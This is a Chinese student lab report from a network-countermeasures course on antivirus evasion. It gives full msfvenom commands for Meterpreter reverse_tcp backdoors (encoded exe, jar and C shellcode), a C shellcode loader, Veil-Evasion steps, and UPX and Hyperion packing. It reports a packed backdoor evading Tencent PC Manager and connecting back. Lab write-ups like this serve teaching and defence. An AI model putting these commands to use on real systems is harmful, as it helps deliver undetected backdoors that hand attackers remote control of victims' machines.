博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 网络对抗技术 20165202 Exp3 免杀原理与实践
阅读量:5205 次
发布时间:2019-06-14

本文共 4402 字,大约阅读时间需要 14 分钟。

博客目录

    • 1.使用msf编码器msfvenom生成后门程序
    • 2.使用msf编码器msfvenom生成jar文件
    • 3.使用veil-evasion生成后门程序及检测
    • 4.C语言调用Shellcode
    • 5.加壳工具使用

一、基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测:

    杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据已检测出或网络上公布的病毒,对其提取特征码,记录成病毒库,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
  • 启发式恶意软件的检测:

    将一个软件与杀毒软件记录过的恶意软件的行为、代码等等作比对,如果发现相似度达到某一值时,随即判定这个程序为恶意代码,有一定误报可能。
  • 基于行为的恶意软件检测:

    在程序运行的状态下(动态)对其行为进行监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉;
    (2)免杀是做什么?
  • “免杀”的杀是指杀毒软件、病毒搜索检测引擎等,“免杀”是指想要一段程序能够成功避开或者是伪装下通过杀毒软件的检测,进入系统。

(3)免杀的基本方法有哪些?

  • 改变特征码
    • 对exe可执行文件加壳:压缩壳 加密壳
    • 用encode对shellcode进行编码,或者基于payload重新编译生成可执行文件
    • 将源代码用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式:尽量使用反弹式连接,使用隧道技术,加密通讯数据
    • 操作模式:基于内存操作。减少对系统的修改,加入混淆作用的正常功能代码
  • 其他方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
    • 手写一个恶意软件

二、实践内容

环节一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

1.使用msf编码器msfvenom生成后门程序

  • 使用实验二中指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.129 LPORT=5202 -f exe > 20165202.exe生成后门可执行文件,分别使用使用或这两个网站对生成的后门程序进行扫描。

    1297055-20190331101423408-1908233261.png

    1297055-20190331101438834-163556644.png

可以看到如果不加任何处理,后门程序能够被大多数杀软检测到,下面使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.153.129 LPORT=5202 -f exe > met-encoded.exe

    1297055-20190331101517221-2117256738.png

  • 十次编码使用命令:-i设置迭代次数

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.153.129 LPORT=5202 -f exe > 5202met-encoded.exe

    1297055-20190331101530692-1079123693.png

  • 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

    1297055-20190331101541888-2025294732.png

  • 我们发现多次编码对免杀没有太大的效果,原因如下:

    shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软进行特征查杀你就gg了

2.使用msf编码器msfvenom生成jar文件

  • 使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.153.129 LPORT=5202 x> 5202backdoor.jar
  • 生成文件

    1297055-20190331101557116-628896712.png

  • 扫描结果

    1297055-20190331101604702-1408251342.png

3.使用veil-evasion生成后门程序及检测

  • 安装veil

  • 使用sudo apt-get install veil-evasion命令安装Veil

    1297055-20190331101612211-2038648968.png

  • 之后输入veil打开veil,输入y继续安装直至完成

    1297055-20190331101619591-2084952851.png

  • 成功的话,输入veil指令,会出现下面这个界面(很遗憾,在折腾了四个小时后我还是“未展开对象”。尝试update等方法失败后,我选择了拷贝虚拟机,导致后面部分IP变了,sry老师....)

  • use evasion命令进入Evil-Evasion

    1297055-20190331101645886-1314547312.png

  • 输入命令use c/meterpreter/rev_tcp.py使用c语言,进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.199.206,注意此处的IP是KaliIP;

  • 设置端口,命令为:set LPORT 5202

  • 输入generate生成文件,接着输入你想要playload的名字:payload5202

    1297055-20190331101755506-135245113.png

  • 如上图所示,保存路径为/var/lib/veil/output/compiled/payload5202.exe

    1297055-20190331101807058-1668153060.png

  • 检测结果

    1297055-20190331101831053-1050768104.png

    1297055-20190331101841391-731985071.png

4.C语言调用Shellcode

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.206 LPORT=5202 -f c用c语言生成一段shellcode;
    • LHOST:攻击机IP
    • LPORT:反弹连接端口
    • c:生成一个c语言格式的Shellcode数组
      1297055-20190331101905226-1947312834.png
  • 创建一个C文件:5202.c,将上面生成的数组copy到该文件下,并加入一个主函数:
unsigned char buf[] = 生成的shellcodeint main(){    int (*func)() = (int(*)())buf;    func();}
  • 使用命令:i686-w64-mingw32-g++ 20165202.c -o 20165202.exe编译.c文件为可执行文件;

    1297055-20190331101926073-423972796.png

  • 检测结果如下

    1297055-20190331101946745-549459037.png

5.加壳工具使用

  • 壳主要分为:
    • 压缩壳

      减少应用体积,如ASPack,UPX
    • 加密壳

      版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机

      通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
  • 使用压缩壳(UPX)

    • 给20165202.exe加个壳得到5202_upxed.exe:

      1297055-20190331142101751-319755318.png

    • 检测结果

      1297055-20190331102046677-586816964.png

      1297055-20190331102058061-527622986.png

    • 查看连接情况,可以反弹连接

      1297055-20190331124608791-1399309751.png

    • 测试是否免杀

      1297055-20190331123919505-1484484508.png

      1297055-20190331112616453-1551831354.png

  • 加密壳Hyperion
    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录cd /usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v 5202_upxed.exe 5202_upxed_Hyperion.exe进行加壳:

      1297055-20190331102140896-866969759.png

    • 检测结果

      1297055-20190331113547712-941668109.png

环节二:通过组合应用各种技术实现恶意代码免杀

  • 参考上一环节中upx的使用,通过使用msfvenom获得shellcode,编译生成可执行文件,外套upx壳实现免杀
  • 被控机系统:win10 装有腾讯电脑管家13.3.202版本

    1297055-20190331124608791-1399309751.png

环节三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 由于测试ping不成功,我更换了网络和虚拟机网络连接方式。导致IP变为192.168.153.131,我重新获得新的shellcode并做了新的20165202+.exe具体方式还是外套upx

    1297055-20190331143012882-629144152.png

  • 被控机:win7虚拟机 使用腾讯电脑管家13.2版本

    1297055-20190331143117291-1170493742.png

    1297055-20190331143516306-1261891834.png

  • 无毒 妙阿

    1297055-20190331143554596-1184540492.png

  • 来试试回连 也ok?

    1297055-20190331143707916-1976066591.png

三、实验遇到的问题及解决方法

1.apt-get损坏

当运行sudo apt-get install/update/或其他命令时,由于各种说不清的原因有时会出现如下提示:

E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不可用)E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?

参考linux公社下文章进行尝试

1297055-20190331132107807-1826692439.png

第二种无效,第一种我杀了进程有了更大的的问题....

显示apt-get出错,由于出现了太多错误,处理过程被终止了。这可还行???

继续参考 使用以下方法

第一步:备份$ sudo mv /var/lib/dpkg/info /var/lib/dpkg/info.bk第二步:新建$ sudo mkdir /var/lib/dpkg/info第三步:更新$ sudo apt-get update$ sudo apt-get -f install第四步:替换$ sudo mv /var/lib/dpkg/info/* /var/lib/dpkg/info.bk//把更新的文件替换到备份文件夹第五步:删除$ sudo rm -rf /var/lib/dpkg/info//把自己新建的info文件夹删掉第六步:还原$ sudo mv /var/lib/dpkg/info.bk /var/lib/dpkg/info//把备份的info.bk还原

终于修复了apt-get...但是,upgrade之后我的veil还是失败了...来我们到第二个问题

2.veil无法安装

我相信很多同学都遇到了这个问题,在尝试了upgrade和apt-get evil-vision等方法无果后...我选了拷贝虚拟机...真香

3.ping不通

1297055-20190331142816174-1707372667.png

这个问题不难,在PKI实验里面也有遇到。更换网络连接方式(nat、桥接模式)即可

四、开启杀软能绝对防止电脑中恶意代码吗?

不能,通过实践我们不难发现。尽管杀软能够抵御大多数后门偷袭,但是对于一些“隐蔽性强”的后门还是难以做到全面查杀。这也提醒我们一定要提高安全意识,不能只靠杀软保护我们的计算机。

五、实验总结

通过这次实验可以了解到,实现免杀的技术真的很多很多,模板之类的数不胜数不说,更有很多dalao可以手工编译,瞬间感觉这次试验只是一个幼儿园小朋友的尝试……这个过程中遇到的最大问题就是veil的安装,这部分卡了很多时间,甚至还把我的upgrade搞坏了,虽然最终veil也没有装好,但我却收获了upgrade的修复方法,这何尝不是一种进步呢?体验过才是真的拥有了经验,当别人问我免杀是什么,如何实现的时候,我可以清楚地告诉他我尝试过的方法,有哪些失败与成功,这也是一种收获……

转载于:https://www.cnblogs.com/jhs888/p/10630395.html

你可能感兴趣的文章
python应用:爬虫实例(静态网页)
查看>>
012 webpack中的router
查看>>
用Monitor简单3步监控中间件ActiveMQ
查看>>
ANDROID_MARS学习笔记_S01原始版_018_SERVICE之Parcel
查看>>
迅为iTOP-4418开发板兼容八核6818开发板介绍
查看>>
com.fasterxml.jackson.databind.JsonMappingException
查看>>
【UVa 540】Team Queue
查看>>
Advanced Architecture for ASP.NET Core Web API
查看>>
数据结构(一)--线性表
查看>>
排序算法(二)
查看>>
4.4 多线程进阶篇<下>(NSOperation)
查看>>
如何更改Android的默认虚拟机地址(Android virtual driver路径设置)
查看>>
Python内置函数(36)——iter
查看>>
事件双向绑定原理
查看>>
HTML标签_1
查看>>
[Angular] @ViewChildren and QueryLists (ngAfterViewInit)
查看>>
jsp组成元素
查看>>
排序算法(转)
查看>>
windows自带的可生成各种数据库连接字符串工具打开方法
查看>>
Linux查看系统开机时间(转)
查看>>